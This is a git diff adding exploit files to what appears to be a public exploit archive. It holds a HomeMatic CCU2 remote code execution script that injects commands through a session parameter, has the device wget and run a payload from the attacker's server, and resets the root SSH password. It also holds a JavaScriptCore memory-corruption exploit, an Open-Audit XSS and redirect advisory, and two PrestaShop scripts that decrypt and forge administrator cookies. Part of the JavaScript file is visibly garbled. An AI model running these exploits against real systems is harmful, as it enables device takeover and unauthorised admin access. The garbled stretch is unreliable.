diff --git a/exploits/hardware/remote/45052.py b/exploits/hardware/remote/45052.py new file mode 100755 index 000000000..923d077ce --- /dev/null +++ b/exploits/hardware/remote/45052.py @@ -0,0 +1,140 @@ +# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE +# Date: 16-07-2018 +# Software Link: https://www.homematic.com/ +# Exploit Author: Kacper Szurek - ESET +# Contact: https://twitter.com/KacperSzurek +# Website: https://security.szurek.pl/ +# YouTube: https://www.youtube.com/c/KacperSzurek +# Category: remote + +1. Description + +File: /root/www/api/backup/logout.cgi + +``` +proc main { } { + set sid [getQueryArg sid] + + if [catch { session_logout $sid}] { error LOGOUT } + + puts "Content-Type: text/plain" + puts "" + puts "OK" +} +``` + +`$sid` value is passed directly to `session_logout` function. + +File: /root/www/tcl/eq3/session.tcl + +``` +proc session_logout { sid } { + rega_exec "system.ClearSessionID(\"$sid\");" +} +``` + +`$sid` value is not escaped properly. + +We can close current rega script using `");` and execute our payload. + +2. Proof of Concept + +POC in Python which enable ssh access and change root password without any credentials. + +``` +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +import time +import urllib2 +import threading +import sys +import os +import signal + +print "HomeMatic Zentrale CCU2 Unauthenticated RCE" +print "Unauthenticated Remote Code Execution" +print "by Kacper Szurek - ESET" +print "https://security.szurek.pl/" +print "https://twitter.com/KacperSzurek" +print "https://www.youtube.com/c/KacperSzurek\n" + +def signal_handler(a, b): + print "[+] Exit" + os._exit(0) + +signal.signal(signal.SIGINT, signal_handler) + +if len(sys.argv) != 4: + print "Usage: exploit " + os._exit(0) + +our_ip = sys.argv[1] +homematic_ip = sys.argv[2] +new_password = sys.argv[3] +tcl_file = """ +#!/bin/tclsh +source /www/api/eq3/jsonrpc.tcl +source /www/api/eq3/json.tcl +set args(passwd) "{}" +set args(mode) "true" +source /www/api/methods/ccu/setssh.tcl +source /www/api/methods/ccu/setsshpassword.tcl +source /www/api/methods/ccu/restartsshdaemon.tcl +""".format(new_password) + +class StoreHandler(BaseHTTPRequestHandler): + def do_GET(self): + print self.path + if self.path == '/exploit': + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write(tcl_file) + +def server(): + try: + server = HTTPServer((our_ip, 1234), StoreHandler) + server.serve_forever() + except Exception, e: + print "[-] Cannot start web server: {}".format(e) + os._exit(0) + +def send_payload(payload): + return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read() + +try: + version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read() +except: + version = "" + +if not version.startswith('VERSION='): + print "[-] Probably not HomeMatic IP: {}".format(homematic_ip) + os._exit(0) + +if "'" in new_password or '"' in new_password: + print "[-] Forbidden characters in password" + os._exit(0) + +print "[+] Start web server" +t = threading.Thread(target=server) +t.daemon = True +t.start() +time.sleep(2) + +print "[+] Download exploit" +send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip)) + +print "[+] Set chmod +x" +send_payload('chmod+%2bx+/tmp/exploit') + +print "[+] Execute exploit" +send_payload('/bin/tclsh+/tmp/exploit') + +print "[+] Success, now you can ssh as root:" +print "ssh root@{}".format(homematic_ip) +print "Password: {}".format(new_password) +os._exit(0) +``` + +3. Solution: + +Update to version 2.35.16 \ No newline at end of file diff --git a/exploits/multiple/local/45048.js b/exploits/multiple/local/45048.js new file mode 100644 index 000000000..ed32b1647 --- /dev/null +++ b/exploits/multiple/local/45048.js @@ -0,0 +1,323 @@ +// Load Int library, thanks saelo! +load('util.js'); +load('int64.js'); + + +// Helpers to convert from float to in a few random places +var conva = new ArrayBuffer(8); +var convf = new Float64Array(conva); +var convi = new Uint32Array(conva); +var convi8 = new Uint8Array(conva); + +var floatarr_magic = new Int64('0x3131313131313131').asDouble(); +var floatarr_magic = new Int64('0x3131313131313131').asDouble(); +var jsval_magic = new Int64('0x3232323232323232').asDouble(); + +var structs = []; + +function log(x) { + print(x); +} + +// Look OOB for array we can use with JSValues +function findArrayOOB(corrupted_arr, groom) { + log("Looking for JSValue array with OOB Float array"); + for (let i = 0; iSorry! We have moved! The new URL is: +Open-Audit

+ +Step6:Go to export tab and export using HTML Table +Step7:When user open download attribute.html file.You will see redirection +hyperlink. +Step8:When user click on link ,User will be redirected to Attacker or +malicious website. + + 3.2. Proof of Concept for Injecting web script(Cross-site scripting(XSS)) + + # #Step to reproduce. +Step1:Login in to Open-Audit +Step2:Go to Attributes page +Step3:Select any attribute which are listed +Step4:click on details tab. +Step5:In the Name field put the following payload and click submit. + + + +Step6:Go to export tab and export using HTML Table +Step7:When user open download attribute.html file.Alert Popup will execute. + + + +# 4. Solution: +# +# Upgrade to latest release of Open-AudIT version +# https://opmantek.com/network-tools-download/open-audit/ \ No newline at end of file diff --git a/exploits/php/webapps/45046.py b/exploits/php/webapps/45046.py new file mode 100755 index 000000000..9696391af --- /dev/null +++ b/exploits/php/webapps/45046.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 +# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read +# Charles Fol +# +# See https://ambionics.io/blog/prestashop-privilege-escalation +# +# This POC will reveal the content of an employee's cookie. +# By modifying it one can read/write any PrestaShop cookie. +# It is a simple padding oracle implementation. +# + + +import requests +import urllib.parse +import base64 + +s = requests.Session() +""" +s.proxies = { + 'http': 'localhost:8080', + 'https': 'localhost:8080', +} +#""" + +# Login as an employee, get your cookie and paste it here along with the URL +URL = "http://vmweb5/prestashop/admin177chuncw/" +cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208" + +# Parse blocks and size +cookie_name, cookie_value = cookie.split("=") +cookie_value = urllib.parse.unquote(cookie_value) +cookie_size = cookie_value[-6:] +cookie_value = cookie_value[:-6] +cookie_value = base64.b64decode(cookie_value) + +BLOCK_SIZE = 16 + +def test_padding(data): + """Returns true if the padding is correct, false otherwise. + One can easily adapt it for customer cookies using: + index.php?controller=identity + """ + data = base64.b64encode(data).decode() + data = urllib.parse.quote(data) + data = data + cookie_size + s.cookies[cookie_name] = data + r = s.get(URL, allow_redirects=False) + s.cookies.clear() + return 'AdminLogin' not in r.headers.get('Location', '') + +def e(msg): + print(msg) + exit(1) + +if not test_padding(cookie_value): + e("Invalid cookie (1)") +elif test_padding(b"~~~~~"): + e("Invalid cookie (2)") + +# Perform the padding oracle attack + +result = b'' + +for b in range(1, len(cookie_value) // BLOCK_SIZE + 1): + obtained = [] + current_block = cookie_value[(b ) * BLOCK_SIZE:][:BLOCK_SIZE] + precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE] + + for p in range(BLOCK_SIZE): + nb_obtained = len(obtained) + + for i in range(256): + pad = nb_obtained + 1 + + prelude = ( + b"\x00" * (BLOCK_SIZE - pad) + + bytes([i]) + + bytes([o ^ pad for o in obtained][::-1]) + ) + data = cookie_value + prelude + current_block + + if test_padding(data): + print("Got byte #%d of block #%d: %d" % (p, b, i)) + obtained.append(i ^ pad) + break + else: + e("Unable to decode position %d" % p) + + # Compute the contents of the plaintext block + + result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])]) + try: + print("COOKIE: %s" % result.decode()) + except UnicodeDecodeError: + print("COOKIE: Unable to decode, wait for next block") \ No newline at end of file diff --git a/exploits/php/webapps/45047.txt b/exploits/php/webapps/45047.txt new file mode 100644 index 000000000..7a252ba7a --- /dev/null +++ b/exploits/php/webapps/45047.txt @@ -0,0 +1,1267 @@ +<--- exploit.py ---> +#!/usr/bin/env python3 +# PrestaShop <= 1.6.1.19 Privilege Escalation +# Charles Fol +# 2018-07-10 +# +# See https://ambionics.io/blog/prestashop-privilege-escalation +# +# +# The condition for this exploit to work is for an employee to have the same +# password as a customer. The exploit will yield a valid employee cookie for +# back office access. +# +# With a bit of tweaking, one can modify the exploit to access any customer +# account, get access to statistics, coupons, etc. or get an admin CSRF token. +# +# The attack may fail for a variety of reasons, including me messing up the +# padding somewhere. You might need to run the exploit several times. +# +# POSSIBLE IMPROVEMENTS +# - Improve the employee detection method +# - Implement the RCE step +# + +# gcc -o crc_xor crc_xor.c +# vi exploit.py +# ./exploit.py + +import requests +import urllib.parse +import binascii +import string +import itertools +import sys +import os +import re + + +# EDIT THIS + +BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop' +ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb' + +CUSTOMER_EMAIL = 'user@user.io' +CUSTOMER_PASSWORD = 'password2' + + +# Helpers + +def http_session(): + """Every HTTP session will be spawned from this function. You can add a + proxy or custom rules. + """ + s = requests.Session() + #s.proxies = {'http': 'localhost:8080'} + return s + +def bl(string): + """¤ is 2 bytes long, which forces us to encode strings before using len(). + """ + return len(string.encode()) + +def cs(blocks, offset=0): + """Computes the full size of the cookie and returns it as a last 6-digit + block. + """ + if offset > 0: + offset -= SIZE_BLOCK + return [ + '%06d' % (len(blocks) * SIZE_BLOCK + offset) + ] + +def xor(a, b): + """XORs two strings and returns the result as bytes. + """ + return bytes(x ^ y for x, y in zip(a.encode(), b.encode())) + +def pb(n, z=False): + """Returns the padding required to align n with SIZE_BLOCK, and its position + in blocks. The z flag indicates if padding can be zero. + """ + padding = (- n) % SIZE_BLOCK + if z and padding == 0: + padding = SIZE_BLOCK + block = (n + padding) // SIZE_BLOCK + return padding, block + + +crc32 = binascii.crc32 + +SIZE_BLOCK = 8 +BASE_BYTE = '`' +SIZE_LASTNAME_TO_FIRSTNAME = bl( + '¤customer_firstname|' +) +SIZE_FIRSTNAME_TO_PASSWD = bl( + '¤logged|1¤is_guest|¤passwd|' +) +SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl( + '86df199881eaf8e9bb158c4f6b71ca0a¤email|' +) +# Variable: it is properly set in PrestaShop.find_alignment +SIZE_EMAIL_TO_END = bl( + '¤id_cart|12345¤id_guest|6¤' +) + +ZERO_BLOCK = b'\x00' * SIZE_BLOCK + +FIRSTNAME = BASE_BYTE * 32 +CHARSET_LASTNAME = string.ascii_letters +EMAIL_DOMAIN = '@test.fr' + +MAX_ID_CUSTOMER = 100 +MAX_ID_EMPLOYEE = 100 + + +# Exploit classes + + +class Exploitation: + """Exploitation class. Handles the flow of the attack. + The main process is the following: + + 1. X = read(cart_id) + 2. Change password to recover_cart_X + 3. read(password) + -> we have a token to recover the cart, and therefore the customer + password + 4. write(id_employee, Z) + 5. write(id_customer, Y) + -> customer Y associated with cart_id X + 6. Do the "Recover cart" procedure with the token + 7. Access backoffice. If employee's Z password is the same as customer + Y, then we obtain backoffice access + """ + + def __init__(self, session, email, password): + self.s = http_session() + self.ps = PrestaShop(session, email, password) + Cookie.ps = self.ps + + def prelude(self): + self.ps.login() + self.ps.find_alignment() + self.ps.get_encrypted_numbers() + self.ps.build_cookies() + + def run(self): + """Runs the exploit. + """ + self.prelude() + + id_cart = self.read_id_cart() + token = self.read_cart_token(id_cart) + + self.get_employee_cookie_name() + self.get_write_blocks() + self.get_nb_employees() + + for target_customer in range(1, MAX_ID_CUSTOMER): + if not self.associate_id_customer(target_customer): + break + + for target_employee in range(1, self.nb_employees+1): + print("Trying customer[%d] employee[%d]" % ( + target_customer, target_employee + )) + cookie = self.write_id_employee(target_employee) + cookie = self.recover_cart(id_cart, token, cookie) + + if cookie: + print('Success !!!') + print('Backoffice cookie:') + print('%s=%s' % (self.employee_cookie_name, cookie)) + return + + print('No employee has the same password as a customer') + + def get_employee_cookie_name(self): + """Obtains the name of the cookie for the backoffice. + """ + self.s.get(ADMIN_URL + '/index.php') + + for c, v in self.s.cookies.items(): + if c.startswith('PrestaShop-'): + self.employee_cookie_name = c + break + else: + raise ValueError('Unable to find customer cookie') + + print('Employee cookie name: %s' % self.employee_cookie_name) + + def get_nb_employees(self): + """Obtains the number of employees by requesting pdf.php with a spoofed + id_employee cookie and iterating. + + It breaks after the first failure, so there might be cases where it + fails to detect every employee. + """ + ecn = self.employee_cookie_name + + for i in range(1, MAX_ID_EMPLOYEE): + cookie = self.write_id_employee(i) + self.s.cookies.clear() + self.s.cookies[ecn] = str(cookie) + r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False) + + if r.status_code != 200: + break + + self.s.cookies.clear() + self.nb_employees = i - 1 + print('There are at least %d employees' % self.nb_employees) + + def recover_cart(self, id_cart, token, cookie): + """Performs the recover cart action with a cookie containing id_employee + so that the returned cookie contains a password hash and an employee ID. + This cookie can then be sent to the admin interface to verify it works. + """ + s = self.s + s.cookies.clear() + s.cookies[cookie.name] = str(cookie) + r = s.post( + BASE_URL + '/index.php', + data={ + 'token_cart': token, + 'recover_cart': '%d' % id_cart + }, + allow_redirects=False + ) + + s.cookies.clear() + s.cookies[self.employee_cookie_name] = r.cookies[cookie.name] + r = s.get( + ADMIN_URL + '/index.php?controller=AdminDashboard', + allow_redirects=False + ) + + if 'AdminLogin' not in r.headers.get('Location', ''): + return r.cookies[self.employee_cookie_name] + + return None + + def get_write_blocks(self): + """Gets encrypted blocks for ¤id_employee and ¤id_customer. + """ + blocks = {} + + # ...¤id_ + + cookie, block = self.pad_lastname( + SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + + bl(self.ps.email) + + bl('¤id_') + ) + + blocks['¤id_'] = cookie.blocks[block-1] + + # customer and employee + + cookie = self.ps.set_identity( + lastname=BASE_BYTE * self.ps.i + 'customeremployee' + ) + blocks['customer'] = cookie.blocks[self.ps.p] + blocks['employee'] = cookie.blocks[self.ps.p + 1] + + self.blocks = blocks + + def get_pipe_number(self, n): + """Get the encrypted block for |000000N. + """ + self.ps.set_identity( + email=('%07d' + EMAIL_DOMAIN) % n + ) + cookie, block = self.pad_lastname( + SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1 + ) + return cookie.blocks[block] + + def write_id_person(self, person, id): + """Writes the given employee/customer ID in the cookie. + """ + plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id) + blocks = [ + self.blocks['¤id_'], + self.blocks[person], + self.get_pipe_number(id) + ] + + return self.ps.writable_cookie.write(plaintext, blocks) + + def write_id_customer(self, id): + """Writes id_customer for the given ID. + """ + return self.write_id_person('customer', id) + + def write_id_employee(self, id): + """Writes id_employee for the given ID. + """ + return self.write_id_person('employee', id) + + def associate_id_customer(self, id): + """Writes id_customer in our cookie in order to associate it to our cart + ID. + """ + s = self.s + + # Write id_customer|X + + cookie = self.write_id_customer(id) + s.cookies.clear() + s.cookies[cookie.name] = str(cookie) + + # Associate the customer with the cart + r = s.get( + BASE_URL + '/index.php?controller=identity', + allow_redirects=False + ) + + matches = re.findall( + 'id="(firstname|lastname|email)"[^>]+value="(.*?)"', + r.text + ) + if not matches: + return False + + matches = {k: v for k, v in matches} + print( + 'Got customer account: {lastname} {firstname} [{email}]'.format( + **matches + ) + ) + return True + + def read_id_cart(self): + """Get id_cart's value by padding the cookie and reading the block. + """ + cookie, block = self.pad_lastname( + SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + + bl(self.ps.email) + + bl('¤id_cart|') + ) + + # Since the cart ID usually fits in one block, we need to bruteforce its + # size by changing the size of the cookie (last block contains size of + # cookie) + id_cart = None + for i in range(1, 10): + rcookie = self.ps.readable_cookie.extend( + [cookie.blocks[block]], + offset=i + ) + try: + id_cart = rcookie.read() + except ValueError: + break + + if not id_cart: + raise ValueError('Unable to read id_cart') + + # ¤ is two bytes long, so the last character of the obtained id_cart + # will be \xc2, which we need to remove + id_cart = int(id_cart[:-1]) + print('Cart ID: %d' % id_cart) + + # The last try broke our cookie, and we're therefore logged out + self.ps.login() + + return id_cart + + def read_cart_token(self, id_cart): + """Set password to recover_cart_X and read it. + """ + self.ps.set_identity( + passwd='recover_cart_%d' % id_cart + ) + cookie, block = self.pad_lastname( + SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD + ) + + rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4]) + token = rcookie.read().decode() + + print('Recover Cart token: %s' % token) + return token + + def pad_lastname(self, offset): + """Get a cookie where the value we want to read, which is offset bytes + away from the last character of the lastname, is aligned with SIZE_BLOCK + and therefore at the beginning of a block. + """ + padding, block = pb(bl(FIRSTNAME) + offset) + + cookie = self.ps.set_identity( + lastname=BASE_BYTE * (self.ps.i + padding) + ) + block += self.ps.p + + return cookie, block + + +class CRCPredictor: + """Implements the resolution of the CRC system of equation. + It works by iterating on a set of possible values. + + For instance, let's say we obtained 3 as the last digit for cookie A. + The only possible CRCs at this point are the ones whose last digit is 3. + So, we store them. + The CRCs for the next cookie, B, must necessarily validate the equation: + CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant). + Therefore, we can update our stored checksums by xoring them with + CRC(A ^ B) ^ C. The stored checksums are now the candidates for B. + Now, let's say we obtain 5 as the last digit for B. We can throw away any + candidate which does not end with 5. By repeating this, we will reach a + valid checksum fairly quickly. + """ + + ORDER = 10 + + def __init__(self, zeros, payload_size): + self.payloads = [] + self.digits = None + self.candidates = None + self.zeros = b"\x00" * zeros + self.zero_crc = crc32(b"\x00" * (payload_size + zeros)) + + def purge_candidates(self, digits): + """Removes candidates that do not end with given digits, and candidates + with less than 10 digits. + """ + ORDER = self.ORDER + candidates = self.candidates + + if candidates is not None: + candidates = [ + c for c in candidates if c % ORDER == digits + ] + # The very first set of candidates (before the first char) is the + # entirety of [0, 2**32-1], which is way too big, so we only compute + # candidates after the two first digits have been set. + elif self.digits is None: + self.digits = digits + else: + print("Generating first solution range (takes some time) ...") + d = self.delta(self.payloads[-2], self.payloads[-1]) + candidates = [ + i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER) + if (i ^ d) % ORDER == digits + ] + + self.candidates = candidates + + def has_solution(self): + """Returns true if the system has been solved. + """ + return self.candidates is not None and len(self.candidates) <= 1 + + def solution(self): + """Returns the solution. + """ + return self.candidates[0] + + def delta(self, p0, p1): + """Computes CRC(A ^ B) ^ C. + """ + d = xor(p0, p1) + return crc32(d + self.zeros) ^ self.zero_crc + + def update_candidates(self, payload): + """Updates every candidate CRC for next payload by xoring them with + CRC(A ^ B) ^ C. + """ + ORDER = self.ORDER + self.payloads.append(payload) + + if self.candidates is None: + return set(range(ORDER)) + + delta = self.delta(self.payloads[-2], self.payloads[-1]) + + self.candidates = [ + crc ^ delta + for crc in self.candidates + ] + # Only keep 10-digit values as other values are not used + self.candidates = [ + c for c in self.candidates if c >= 1000000000 + ] + + if not self.candidates: + raise ValueError('Checksum equations have no solution !') + + # Return possible last digits for the new char + return set(c % ORDER for c in self.candidates) + + +class PrestaShop: + """Contains several helpers for the interaction with the PrestaShop website + and cookie manipulation. Responsible for the read and write exploit + primitives. + """ + + def __init__(self, session, email, password): + self.s = session + self.email = email + self.original_email = self.email + self.password = password + self.original_password = self.password + + def post(self, url, **kwargs): + headers = kwargs.get('headers', {}) + headers['Referer'] = url + return self.s.post(BASE_URL + url, **kwargs) + + def cookie(self): + """Extracts the cookie from the requests session. + """ + for c, v in self.s.cookies.items(): + if c.startswith('PrestaShop-'): + return Cookie(c, v) + + raise ValueError('Unable to find customer cookie') + + def login(self): + """Logs into PrestaShop using email/password. + """ + self.s.cookies.clear() + r = self.post( + '/index.php?controller=authentication', + data={ + 'email': self.email, + 'passwd': self.password, + 'back': 'identity', + 'SubmitLogin': '' + }, + allow_redirects=False + ) + + if not r.headers.get('Location', '').endswith('controller=identity'): + raise ValueError('Invalid credentials') + + return self.cookie() + + def set_identity(self, **data): + """Changes the identity of the current user. This generally involves + changing firstname, lastname, and email. + """ + assert all(v != '' for v in data.values()), ( + "Data contains an empty value" + ) + + if 'email' in data: + self.email = data['email'] + if 'passwd' in data: + data['confirmation'] = data['passwd'] + + defaults = { + 'id_gender': '1', + 'firstname': FIRSTNAME, + 'lastname': 'User', + 'email': self.email, + 'days': '1', + 'months': '1', + 'years': '1990', + 'old_passwd': self.password, + 'passwd': '', + 'confirmation': '', + 'submitIdentity': '' + } + defaults.update(data) + r = self.post( + '/index.php?controller=identity', + data=defaults + ) + + if 'passwd' in data: + self.password = data['passwd'] + + # If we changed the email or the password, we need to login again + if 'email' in data: + return self.login() + + return self.cookie() + + def find_alignment(self): + """Obtains the position of the first repeated block of customer_lastname + along with its offset from the start of the string. Also, computes + SIZE_EMAIL_TO_END. + + Example: + ...customer_lastname|BBAAAAAAAAAAAAAAAA... + ...----++++++++--------++++++++--------... + ^^ Offset = 2 + ^ Position of the first repeated block + """ + cookie = self.set_identity( + lastname='A' * SIZE_BLOCK * 4 + ) + + #print(setup_cookie) + + last = None + for p, block in enumerate(cookie.blocks): + if block == last: + break + last = block + else: + raise ValueError('Unable to find identical blocks') + + p = p - 1 + print('First identical block:', p, block) + + # Pad with Bs until the first block is modified to obtain alignment + + for i in range(1, SIZE_BLOCK): + cookie = self.set_identity( + lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i)) + ) + if cookie.blocks[p] != block: + break + else: + raise ValueError('Unable to pad blocks') + + i = i - 1 + print('Offset from "customer_lastname|":', i) + + self.p = p + self.i = i + + # We also need to setup this length dynamically + + global SIZE_EMAIL_TO_END + + # Fix the id_connection problem + self.login() + + # Grab 10 slightly different cookies, and get the longest one + max_size = max( + self.set_identity(lastname=c * 8).size() + for c in 'ABCDEFGHIJ' + ) + + SIZE_EMAIL_TO_END = ( + max_size - ( + self.p * SIZE_BLOCK - self.i + + 8 + + SIZE_LASTNAME_TO_FIRSTNAME + + bl(FIRSTNAME) + + SIZE_FIRSTNAME_TO_EMAIL + + bl(self.original_email) + + bl('checksum|') + + 10 + ) + ) + print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END) + + + def get_encrypted_blocks(self, blocks): + """Uses the email address to get a bunch of encrypted blocks. + """ + # Align the first character of the email with a block so that we obtain + # 15 blocks per try + # SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL = + distance = - self.i + bl( + '¤customer_firstname|' + FIRSTNAME + ) + SIZE_FIRSTNAME_TO_EMAIL + alignment, first_block = pb(distance) + first_block += self.p + + cookie = self.set_identity( + lastname='A' * alignment, + email=''.join(blocks) + EMAIL_DOMAIN + ) + return cookie.blocks[first_block:first_block+len(blocks)] + + def get_encrypted_numbers(self, size=1): + """Builds blocks starting with numbers and cipher them. + """ + encrypted_numbers = [] + + # 15 blocks can be ciphered at once: + # |email| = 128, |domain| = 8 + # |email| - |domain| = 120 + # 120 / SIZE_BLOCK = 15 + step = 15 + for i in range(0, 10 ** size, step): + # Convert the each of number into a block: + # 3 -> 03xxxxxx + numbers = [ + str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x') + for n in range(step) + ] + encrypted_numbers += self.get_encrypted_blocks(numbers) + + self.reset() + self.encrypted_numbers = encrypted_numbers[:10 ** size] + + def discover_crc(self): + """By correctly padding the cookie, we can force the last digit of the + CRC to be in the last block, on its own. From this, and by using the + email field to translate, we can guess what this digit is by replacing + the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the + cookie is accepted. + Then, we can slightly change the cookie's content, and obtain the last + digits for the new checksum. Due to the fact that CRC is affine, we can + build an equation on the last two digits of these checksums. + By repeating the operation, we get a set of equations, and solving it + reveals the value of the checksum. + + Returns a magic cookie and its checksum. + """ + + print('Discovering CRC checksum...') + + lo_digits = 1 + nb_requests = 0 + + encrypted_numbers = self.encrypted_numbers + + # We only work with 10-digit checksums, and the probability of not + # getting any 10-digit checksum over 10 requests is equal to 4.68e-07, + # so we'll iterate 10 times and keep the longest cookie + + max_size = 0 + cookie_base = None + + for i in range(10): + cookie_base = self.set_identity( + lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK + ) + if max_size < cookie_base.size(): + max_size = cookie_base.size() + + # Checksum alignment: build a cookie such that the last block contains + # lo_digits digits + + alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK + + s = http_session() + + payload_size = 2 + zeros = ( + SIZE_LASTNAME_TO_FIRSTNAME + + bl(FIRSTNAME) + + SIZE_FIRSTNAME_TO_EMAIL + + bl(self.original_email) + + SIZE_EMAIL_TO_END + ) + lastname = None + predictor = CRCPredictor(zeros, payload_size) + cache = {} + + # On each iteration, we replace some chars and keep the same length, + # so that the affine property of CRC stays valid. + # We then update our candidates using CRCPredictor, until one value's + # left. + for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size): + payload = ''.join(payload) + lastname = 'A' * (alignment_checksum - payload_size) + payload + cookie = self.set_identity( + lastname=lastname + ) + nb_requests += 1 + + # Only use 10-digit cookies + if cookie.size() % SIZE_BLOCK != lo_digits: + continue + + candidates = predictor.update_candidates(payload) + + # No point verifying if we have only one possibility, skip + if len(candidates) == 1: + predictor.purge_candidates(list(candidates)[0]) + if predictor.has_solution(): + break + continue + + # If the single-digit block has already been seen, we can map it + # immediately + + original_block = cookie.blocks[-2] + + if original_block in cache: + n = cache[original_block] + print('%s %d %s !' % (payload, n, original_block)) + predictor.purge_candidates(n) + continue + + #print(cookie) + #print(candidates) + + # Bruteforce the last digit of the checksum by replacing the last + # block by an encrypted number until it works + for n in candidates: + cookie.blocks[-2] = encrypted_numbers[n] + print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r') + + response = s.head( + BASE_URL + '/index.php?controller=identity', + headers={'Cookie': '%s=%s' % (cookie.name, cookie)} + ) + nb_requests += 1 + location = response.headers.get('Location', '') + if 'controller=authentication' not in location: + print('') + break + else: + # This should not happen + raise ValueError( + 'Unable to guess digits for payload %r' % payload + ) + + cache[original_block] = n + predictor.purge_candidates(n) + + cookie.blocks[-2] = original_block + + if predictor.has_solution(): + break + else: + # This should not happen + raise ValueError('Unable to compute checksum value') + + checksum = predictor.solution() + print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests)) + + return cookie, checksum + + def build_cookies(self): + self.build_writable_cookie() + self.build_readable_cookie() + + def build_writable_cookie(self): + """Builds the first extendable cookie. It involves finding out the + checksum value, and building the standard ending blocks. + """ + + cookie, checksum = self.discover_crc() + + # ¤ custom + block_o = self.set_identity( + lastname='A' * (self.i + SIZE_BLOCK) + ).blocks[self.p + 1] + + # AAAAA¤ c + block_c = self.set_identity( + lastname='A' * (self.i + 5) + ).blocks[self.p] + + # hecksum| + offset = ( + SIZE_LASTNAME_TO_FIRSTNAME + + bl(FIRSTNAME) + + SIZE_FIRSTNAME_TO_EMAIL + + bl(self.email) + + SIZE_EMAIL_TO_END + + bl('checksum|') + ) + offset, _ = pb(offset) + block_s = self.set_identity( + lastname='A' * (self.i + offset) + ).blocks[-4] + + WritableCookie.blocks_checksum = [ + block_o, + block_c, + block_s + ] + self.writable_cookie = WritableCookie( + cookie.name, cookie.blocks, checksum + ) + print('Generated extendable cookie.') + + def build_readable_cookie(self): + """To read arbitrary blocks we need to integrate the checksum and add + customer_firstname|... at the end. + """ + + p = self.p + i = self.i + + # AAA¤ customer_firstname|```````` + # ++++++++--------++++++++-------- + c0 = self.set_identity( + lastname='A' * (i + 3) + ) + + cookie = self.writable_cookie + self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4]) + print('Generated read cookie.') + + def reset(self): + return self.set_identity( + email=self.original_email, + passwd=self.original_password + ) + + +class Cookie: + """Standard Prestashop cookie class. Splits the cookie into blocks. + """ + + def __init__(self, name, value): + self.name = name + if isinstance(value, str): + self.check_consistent(value) + self.blocks = urllib.parse.unquote(value).split('=') + else: + self.blocks = value + + def check_consistent(self, value): + """Checks if the given string is a valid ECB cookie. + """ + value = urllib.parse.unquote(value) + if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value): + raise ValueError('Invalid cookie') + + + def clone(self): + return self.__class__(self.name, str(self)) + + def size(self): + """Last block is the size of the whole payload. + """ + return int(self.blocks[-1]) + + def __str__(self): + return '='.join(self.blocks).replace('+', '%2B') + +class WritableCookie(Cookie): + """Cookie with known checksum. It can be extended by adding encrypted blocks + with a known plaintext, and recomputing the checksum. + """ + + blocks_checksum = None + + def __init__(self, name, blocks, checksum): + super().__init__(name, blocks) + self.checksum = checksum + + def write(self, plaintext, blocks): + """Adds blocks to current cookie, recomputes the checksum, and returns + the new cookie. + """ + assert bl(plaintext) == len(blocks) * SIZE_BLOCK, ( + "Plaintext's size does not match blocks'" + ) + + # Compute the new checksum and get its encrypted blocks + plaintext = ( + 'ch' + + plaintext + + '¤custom' + + 'AAAAA¤' + ) + checksum = crc32(plaintext.encode(), self.checksum) + encrypted_checksum = self.ps.get_encrypted_blocks([ + '%08d' % (checksum // 100), + '%02dxxxxxx' % (checksum % 100) + ]) + self.ps.reset() + + # PLAINTEXT ORIGIN + # ¤ custom customer_firstname } + # AAAAA¤ c customer_firstname } blocks_checksum + # hecksum| discover } + # 12345678 email + # 90xxxxxx email + blocks = ( + self.blocks[:-4] + + blocks + + self.blocks_checksum + + encrypted_checksum + ) + blocks += cs(blocks, 2) + + return WritableCookie(self.name, blocks, 